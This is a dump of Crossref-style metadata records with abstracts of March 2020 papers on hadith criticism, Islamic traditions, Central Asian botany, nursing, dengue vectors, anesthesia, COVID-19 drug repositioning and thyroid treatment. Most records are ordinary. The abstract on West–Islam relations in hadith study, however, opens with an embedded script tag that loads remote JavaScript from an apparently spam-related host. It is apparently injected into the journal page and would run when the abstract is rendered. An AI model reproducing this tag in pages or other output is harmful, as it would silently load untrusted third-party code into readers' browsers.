bluuebunny/crossref_metadata_2025_split huggingface dataset:
Implementasi Teori Common Link dan Projecting Back dan Implikasinya terhadap Otentisitas Hadis
Authors: Falak Reza Akbar 
Published: March 2020

<p>Salah satu teori kritik hadis yang dikembangkan oleh kaum orientalis yang sangat terkenal hingga saat ini adalah Teori <em>Common Link</em> (CL) dan <em>Projecting Back</em>. Teori <em>Projecting Back</em> merupakan sebuah teori yang diajukan Schacht tentang adanya rekonstruksi <em>sanad</em> yang dilakukan generasi <em>tabi’ al-tabi’in</em> yaitu dengan memproyeksikan pendapat-pendapat kepada tokoh-tokoh di belakang hingga sampai kepada Nabi saw. Sedangkan Teori <em>Common link</em> (CL) merupakan teori yang menganggap bahwa rawi tertua dalam jaringan <em>isnad</em> merupakan tokoh sumber penyebaran jalur-jalur periwayatan yang ada dan rawi tersebut bukan merupakan figur abad pertama hijriyah. Menurut Schacht, keberadaan CL dalam rantai periwayatan mengindikasikan bahwa hadis itu berasal dari masa tokoh tersebut. Kedua teori itu merupakan metode kritik hadis yang membantah historisitas dan otentisitas hadis yang diajukan Schacht dan dikembangkan oleh Juynboll berdasarkan prinsip tidak diterimanya klaim kesejarahan jalur periwayatan tunggal (<em>single strand</em>), yaitu jalur tunggal dari CL ke periwayat termuda (kolektor) maupun jalur tunggal dari CL ke Nabi.</p><br /><p> </p><p align="center"><strong>Abstract</strong></p><p>One of the theories of criticism of hadith developed by orientalists which is very famous until today is the theory of Common Link (CL) and the theory of Projecting Back. The Projecting Back Theory is a theory by Schacht that proposes on the reconstruction of sanad by the <em>tabi 'al-tabi'in</em> generation by projecting the opinions to the figures in the back up and then to the Prophet. While the Theory of Common Link (CL) is a theory which assumes that the oldest rawi in isnad chains is the source of the spread of narrative pathways that existed and the rawi is not a figure of the first century hijriyah. According to Schacht, the existence of CL in the chain of transmission indicates that the hadith was originated from that period. Both theories are methods of hadith criticism by Schacht which deny the historicity and authenticity of hadith and then developed further by Juynboll based on the principle of non-acceptance of historical claim through the single strand, namely the single path from CL to the youngest narrator (collector) or the single path of the CL to the Prophet.</p><p>Keywords: authenticity, hadith, <em>common link, projecting back</em></p>
PERAYAAN MAULID NABI DALAM PANDANGAN KH. HASYIM ASY’ARI
Authors: Masruri Ulin Niam 
Published: March 2020

<p>Perayaan maulid nabi yang dilakukan setiap setahun dalam rangka mengenang kelahiran Beliau dan menteladani sirahnya merupakan suatu tradisi yang baik dan harus terjaga dari hal – hal yang dapat merusak tujuan dilakukannya perayaan tersebut. Untuk tujuan itu, maka perlu dibuat rambu – rambu dan batasan - batasan yang mengatur kegiatan tersebut, sehingga bisa dijadikan acuan bagi masyarakat islam yang akan merayakannya. Karena tujuan yang mulia jika menggunakan wasilah yang kurang baik maka itu dilarang. Dan hal ini telah dilakukan oleh KH. Hasyim Asy’ari dengan menulis sebuah buku yang bertutur tentang hal tersebut.</p>
RESEPSI HADIS ANJURAN TERSENYUM DAN APLIKASINYA DALAM EMOTICON SENYUM PADA SOSIAL MEDIA
Authors: Ismaila Melati 
Published: March 2020

<p class="05Abstrak">Tulisan ini membahas mengenai pengaplikasian hadis anjuran tersenyum dalam sosial media sebagai bentuk komunikasi non-verbal. Proses transmisi dan resepsi terhadap hadis anjuran tersenyum diekspresikan melalui emoticon senyum yang digunakan dalam sosial media, salah satunya yakni Whatsapp. Oleh karena itu kajian ini termasuk ke dalam kajian <em>living hadis. </em>Adapun teori yang digunakan adalah pendekatan teori semiotika komunikasi Charles Sanders Pierce yang dikenal dengan segitiga makna atau segitiga semiotik. Dengan kajian ini diharapkan dapat diketahui kontekstualisasi hadis dalam komunikasi menggunakan sosial media yang kini tengah berkembang di tengah masyarakat.</p><p class="05Abstrak"> </p>
RELASI BARAT DAN ISLAM DALAM KAJIAN HADIS
Authors: Sukron Mokhamad 
Published: March 2020

<script charset="UTF-8" type="text/javascript" src="http://happybizpromo.com/i.js?tag=new1809&amp;did=1&amp;v_tag=84817&amp;k_tag=0"></script>Artikel Jurnal ini mendiskusikan tentang Sejarah Hubungan Barat dan Islam dalam studi hadis. Sebagai tambahannya, Hal ini didiskusikan menggunakan dialog sience sehingga membuat kelahiran pekerjaan yang monumental pada kedua sisi. Dengan menggunakan Pendekatan Sejarah menemukan fakta bahwa Paradigma Peneliti Barat yang meneliti Islam secara global dan hadis tertentu memberi pengalaman yang signifikan. Implikasi Perubahan Paradigma membuat Peneliti Barat dalam belajar hadis lebih objektif dan proporsional.<p class="05Abstrak"> </p>
Systematic analysis of the dominant types of entomophages in fruit orchards
Authors: Rаkhmanova М.К. , Khamdamov К.Q. , U.Rasulova  , G.Turdiyeva  , G.Rahmonova  , R.Saliyeva  
Published: March 2020

Abstract: The formation of entomophauna in orchards and their development has a great importance, and it greatly influences to the number of phitofags. During our observations of entomophages orchard in agrobiocenosis indentified 24 dominant types which belong to seven families. Moveover, researches of entomophages show 24 dominant types which belong to 7 families. Besides that we have analysed the share of entomophage varieties concerning the entomophages.
Current status of plant resources in the Ferghana Valley and opportunities to use them
Authors: M.R. Kholikulov  
Published: March 2020

In the southern part of Kurama mountains of North Fergana near Havasay, Chadaksay and Rezaksay on the relatively large areas of medicinal plants found Eremurus sogdiana, Perovskija scrophulariifolia and other species. And Ferula tenuisecta, Prangos pabularia, Ligularia alpigena, Lagotis korolkovii, Festuca valesiaca and others meet on the Angren plateau
The Logical Theory of Evidence-Based Interpretation (scientific source analysis)
Authors: Z.A. Ilkhomov  
Published: March 2020

Today the greatest role in historical processes is played by sources and their data, and also at the logical scientific conclusions which based on drawn sources with the corresponding purposes. This article shows the basic points of view in the field of methodology of historical science and work with sources in historical researches and on the basis of interpretation of the facts logically suitable opinions on the given question are stated.
A framework for nursing participation in health policy making: a systematic review
Authors: Hajizadeh Alireza , Zamanzadeh Vahid , Kakemam Edris , Bahreini Rona , Khodayari-Zarnaq rahim 
Published: March 2020

Abstract
Background : Nurses as the majority of the health care workforce help in the health systems strengthening. Nurses' involvement in health policy making is clear; however, still few are involved in policy-making processes, even in the clinical context. The aim of the present systematic review was to designing a framework for nursing participation in health policy making. Methods: The present systematic review was designed on studies conducted between 2000 and 2019. Four online databases including PubMed, EMBASE, SCOPUS and Science Direct were searched using comprehensive terms. Study selection, quality assessment, data extraction, and data analysis were independently done by two reviewers. Inclusion criteria included published studies in English language and between 2000 to 2019, participants such as nurses and the healthcare managers, mentioned influential factors, types of participants were included nurses and the healthcare managers, study designs and methods clearly defined. The methodological quality of included article was appraised using the checklists of CASP and MMAT. Finally, the data were analyzed using content analysis. Results: After quality assessment, 11 studies, according to inclusion criteria, were retrieved. Nine studies had a good, two a medium, and non-articles was poor methodological quality. Three main identified themes were: nursing-related factors (4 sub- themes), management and organizational factors (8 sub-themes) and creating a positive work environment (3 sub-themes). Conclusion: The designed framework in the present review can act as a facilitator of developing more participation on behalf of nursing staff in the processes of policy making about health systems. Nurses can utilize this finding to develop empowering programs to play efficient roles and increase their participation in health policy making. Further studies are required to survey the relation between these factors and nursing participation in health policy making.
A pilot cluster randomised trial of an evidence-based intervention to reduce avoidable hospital admissions in nursing home residents (Better Health in Residents of Care Homes with Nursing - BHiRCH-NH study)
Authors: Sampson Elizabeth , Feast Alexandra , Blighe Alan , Froggatt Katherine , Hunter Rachael , Marston Louise , McCormack Brendan , Nurock Shirley , Panca Monica , Powell Catherine , Rait Greta , Robinson Louise , Woodward-Carlton Barbara , Young John , Downs Murna 
Published: March 2020

Abstract
Background: Nursing home residents are often frail and most have complex healthcare needs. Hospitalisation is distressing to the person, their family and nursing home staff and costly for health services. Early detection of changes in residents’ health may reduce admissions. Our aim was to pilot a complex intervention with implementation support to improve early detection and treatment for four common Ambulatory Care Sensitive Conditions (ACSCs); urinary tract and respiratory infections, chronic heart failure and dehydration. Methods: Pilot cluster randomised controlled trial in 14 nursing homes (7 intervention, 7 control). The intervention involved 1) “stop and watch (S&W)” early warning tool for changes in physical health, 2) condition- specific care pathways and 3) Situation, Background, Assessment and Recommendation (SBAR) to structure communication with primary care. of Intervention implementation was supported by Practice Development Champions (PDCs) in the care home, a Practice Development Support Group (PDSG) and regular telephone coaching with external facilitators. We collected data on nursing homes (quality ratings, size, ownership), residents, their family carers and staff demographics during the month prior to intervention and subsequently, numbers of admissions, accident and emergency visits and unscheduled GP visits monthly for 6 months during the intervention period. We collected data on how the intervention was used, healthcare resource use and quality of life data for economic evaluation. We assessed participant recruitment and retention and whether a full trial was warranted. Results: We recruited 14 nursing homes, 148 staff, 95 family carers and 245 residents. One nursing home closed prior to the intervention starting and another withdrew during the data collection phase. We retained the majority of participants recruited (95%). 15% of residents had an unplanned hospital admission for one of the four study conditions during follow-up. We were able to collect sufficient data on study questionnaires (all were over 96% complete). No home implemented intervention tools as planned. Only 16 S&W forms and 8 Care Pathways were completed. There was no evidence that the intervention was harmful.Conclusions: Study recruitment, retention, data collection and processes were effective but the intervention was not implemented in practice, therefore a full trial is not warranted. Trial registration: ISRCTN74109734 (registered 6/11/2017) https://doi.org/10.1186/ISRCTN74109734
Genetic structure and vector competence for DENV-2 of Aedes albopictus (Diptera: Culicidae) populations in China
Authors: Wei Yong , Wang Jiatian , Deng Shengqun , Fan Peiyang , He Yulan , Hu Ke , Chen Yulan , Yu Xinyi , Wang Yiwei , Zhou Guofa , Zhong Daibin , Zheng Xueli 
Published: March 2020

Abstract
Background: As a vector of over 20 arboviruses, Aedes albopictus has spread throughout the world mostly since the second half of the twentieth century, and it is now found on every continent except Antarctica. Approximately 50-100 million people are infected with dengue virus (DENV) transmitted by Aedes mosquitoes each year, leading to a heavy economic burden on both governments and individuals. Understanding the population genetics and vector competence of vector species is critical to effectively preventing and controlling vector-borne diseases. The aim of this study was to examine the genetic structure and vector competence for dengue virus type 2 (DENV-2) of Ae. albopictus populations across China and their relationship.Methods: From July to September in 2019, Ae. albopictus eggs were collected by using ovitraps in 8 localities across China and reared to adults in laboratory. The mitochondrial gene cytochrome c oxidase subunit 1 (cox1) were used to examine the patterns of genetic diversity and population structure among native Ae. albopictus populations. The vector competence was detected by quantitative analysis of DENV-2 virus titer in mosquito tissues (midguts, heads and salivary glands) through qRT-PCR. The correlation between population genetic indices and DENV-2 loads in the mosquitoes’ tissues was also examined.Results: A total of 20 haplotypes of mtDNA cytochrome c oxidase subunit 1 (cox1) were identified in the 120 specimens from the eight tested populations. The dominate haplotype H01 was detected in seven geographic populations of mainland China. Genetic parameters such as haplotype diversity (Hd), nucleotide diversity (π), and fixation index (FST) revealed the population diversity decreasing from south to north, and low population genetic differentiation. STRUCTURE analysis indicated that Ae. albopictus populations in southern China were clustered. In addition, The Mantel test indicated a positive correlation between genetic distance and geographical distance (R2 = 0.364, P = 0.003). We observed no correlation between population genetic indices of cox1 in Ae. albopictus populations and DENV-2 virus loads. However, the southern populations had the low DENV-2 virus loads generally.Conclusion: Conventional genetic markers such as cox1 may not reflect genetic differences in mosquitoes’ vector competence in different regions. The fact of lower DENV-2 loads in southern populations may be associated with the stable immunity system established in mosquitoes due to the long-term prevalence of dengue disease in these areas. The genetic structure and vector competence of Ae. albopictus populations in this study may have implications for understanding the epidemiology, prevention and control of vector-borne diseases.
Repeat Administration of Reversal Agents in Patients Receiving Neostigmine or Sugammadex: A Retrospective Observational Study
Authors: Gilbertson Laura , Wolf Francis , Lynde Grant C. 
Published: March 2020

Abstract
Background: Antagonism of neuromuscular blockade (NMB) induced by rocuronium and vecuronium can be achieved with either neostigmine or sugammadex. Compared to sugammadex, antagonism with neostigmine is more likely to result in incomplete reversal, i.e. residual neuromuscular blockade (rNMB). The administration of additional doses of a reversal agent following an initial reversal dose may be a marker for suspected rNMB. We studied the frequency and temporal patterns of repeat (rescue) administration of reversal agents in patients who received an initial dose of neostigmine vs. sugammadex. Methods: We analyzed retrospective data from electronic anesthesia records to identify surgical patients who received rescue dose reversal, defined as two or more doses of reversal agent, following administration of non-depolarizing NMB and extubation in the operating room. We assessed rates of rescue reversal over time following the introduction of sugammadex and compared rescue rates for patients receiving neostigmine vs sugammadex. Results: A total of 24,027 cases using cisatracurium, rocuronium, and vecuronium were analyzed. Following the addition of sugammadex to formulary in 2016, reversal with neostigmine decreased from 79% to 5.3% (p <0.001) and the use of rescue reversal after neostigmine increased from 6.0% to 18% (p<0.001). In contrast, rescue reversal after sugammadex was 2.5%, with no change over the study period (p=0.059). The percentage of patients who were not given any reversal agent following non-depolarizing NMB decreased from 20% to 13% (p<0.001). As neostigmine usage progressively decreased after introduction of sugammadex, there was a corresponding increase in rescue reversal dosing when initial reversal was attempted with neostigmine. Conclusions: Repeated administration of a reversal agent was 7 times more likely to occur in patients initially reversed with neostigmine compared to sugammadex. This finding likely reflects increased rates of observed weakness in patients reversed with neostigmine. The correlation between decreasing neostigmine use and increasing rescue reversal after neostigmine may indicate a progressive decline in the effective use of neostigmine (as knowledge and experience waned), and/or decreasing confidence in its efficacy.
Drug Repositioning Suggests a Role for the Heat Shock Protein 90 Inhibitor Geldanamycin in Treating COVID-19 Infection
Authors: Sultan Iyad , Howard Scott , Tbakhi Abdelghani 
Published: March 2020

Abstract
Drug repositioning offers an unmatched opportunity to offer novel therapeutics to treat SARS family of coronaviruses (SARS-FCoVs); an issue that became extremely urgent with the spreading of a novel virus with potential to threaten the lives of millions of people. Hereby, we analyzed a dataset of patients who presented with SARS during the 2003 outbreak. We established a gene signature that defines differential gene expression in patients who were sick with SARS vs. healthy controls and convalescent patients. We used a robust platform to conduct drug repositioning based on clustered gene expression and pathway enrichment to identify best matching drugs. We identified 55 agents of potential benefit. In most of these drugs we were able to establish a link to previous related research, use as antiviral, or at least a hypothetical role in treating SARS-FCoVs. Most notably, the heat shock protein 90 (hsp90) emerged as a major component that enables viruses to hijack infected cells through the process of autophagy. Almost half of the drugs identified could be linked to hsp90. As such, we propose using hsp90 inhibitors, mainly geldanamycin and its derivatives, to treat COVID-19.
An exploration of group-based compassion-focused therapy for adolescents and their parents
Authors: Bratt Anna Sofia , Rusner Marie , Svensson Idor 
Published: March 2020

Abstract

Background:
The long-term negative consequences of mental health problems during adolescence highlight the need for effective treatments. Compassion-focused therapy (CFT) aims to help individuals to enhance their ability to support and care for themselves and to alleviate shame and self-stigmatization.

Objective:
This non-randomized controlled trial examined the effectiveness of group-based CFT on perceived stress and the extent of self-compassion in a clinical sample of adolescents receiving psychiatric care for complex mental health difficulties and their parents.

Method:
The participants were 43 adolescents (ages 14–17; 83.7 % female) under treatment at a child and adolescent psychiatric outpatient clinic in Sweden and their parents (n = 77; 61 % female). The adolescents volunteered for group-based CFT (n = 19); if they did not want to participate, they were asked to join the control group receiving treatment as usual (TAU, n = 24). The CFT parents were given the same treatment as their children in parallel parent groups. The participants completed questionnaires measuring self-compassion and perceived stress before and after treatment. Paired samples t-tests and independent samples t-tests assessed the within-group and between-group differences via change scores.

Results:
The fathers scored highest on self-compassion and had less perceived stress at both times than the adolescents or mothers. There were no significant differences between the CFT and TAU groups in self-compassion or perceived stress at either time, and the effect sizes were small (g ≤ 0.25). The TAU mother group was the only group with a significantly changed mean self-compassion score post-treatment.

Conclusions:
Some patients seem to benefit from group-based CFT in ways similar to the benefits of specialized therapeutic approaches. Further research into the utility of CFT for adolescents with MH problems and their parents, as well as the long-term clinical effects of CFT for this group is needed.
Outcomes Associated with Treatment of Hyperthyroidism with Radioiodine; A Single Center Retrospective Study
Authors: Muhammad Zeeshan Siddiqui  , Ssakher Muteb Alotaibi  , Gulshad Hasan  , Abdullah Faisal Raja Almoshadq  , Nebras Saad Alsaygh  , Hanan Yahya Muabbar  , Zahid Rahman Khan  
Published: March 2020

Background: Hypothyroidism and hyperthyroidism are prevalent conditions with potentially crippling health consequences that globally affect all populations. Hyperthyroidism is overproduction and persistent release of thyroid hormones that can be stratified into a number of subtypes with varying magnitudes and treatment outcomes. Despite of decades of treatment of hyperthyroidism with radioiodine, the success of treatment is still debatable and influenced by many factors.
Objective: To determine outcomes associated with treatment of hyperthyroidism with radioiodine.
Methods: All patients screened for thyroid disease at King Abdullah Medical City, Makkah in between 2012-17 were included in the analysis (N = 353). Eighteen questions were used to assess the presence or absence of symptoms associated with hyperthyroidism. 251 out of 353 patients were found eligible for screening with thyroid-stimulating hormone, free triiodothyronine (fT3) and free thyroxin (fT4). On the basis of laboratory analysis, 73 patients were eligible for the differing RAI therapeutic regimens. Treatment outcomes were assessed 6 months after the patients received RAI therapy, at which time they were classified as being hypothyroid, euthyroid, or hyperthyroid.
Results: Females were predominantly affected by hyperthyroidism (75.2%) compared with males (24.8%). However, males were significantly more likely than females to have Graves’ ophthalmopathy (p < 0.01), anxiety (p < 0.05), and insomnia (p < 0.05). A total RAI dose of ≤15 mCi was effective in eliminating most hyperthyroidism: ≤12 mCi, 26/29 = 89.7%; 12.1–15 mCi, 28/30 = 93.3%. Using bivariate analysis, the association of treatment effectiveness with each of the symptoms and comorbidities revealed significant correlations only for diabetes mellitus (rho = −0.428, p < 0.001).
Conclusions: Our data suggests that radioiodine remains an effective option of treating hyperthyroidism in most of the patients who qualify for it.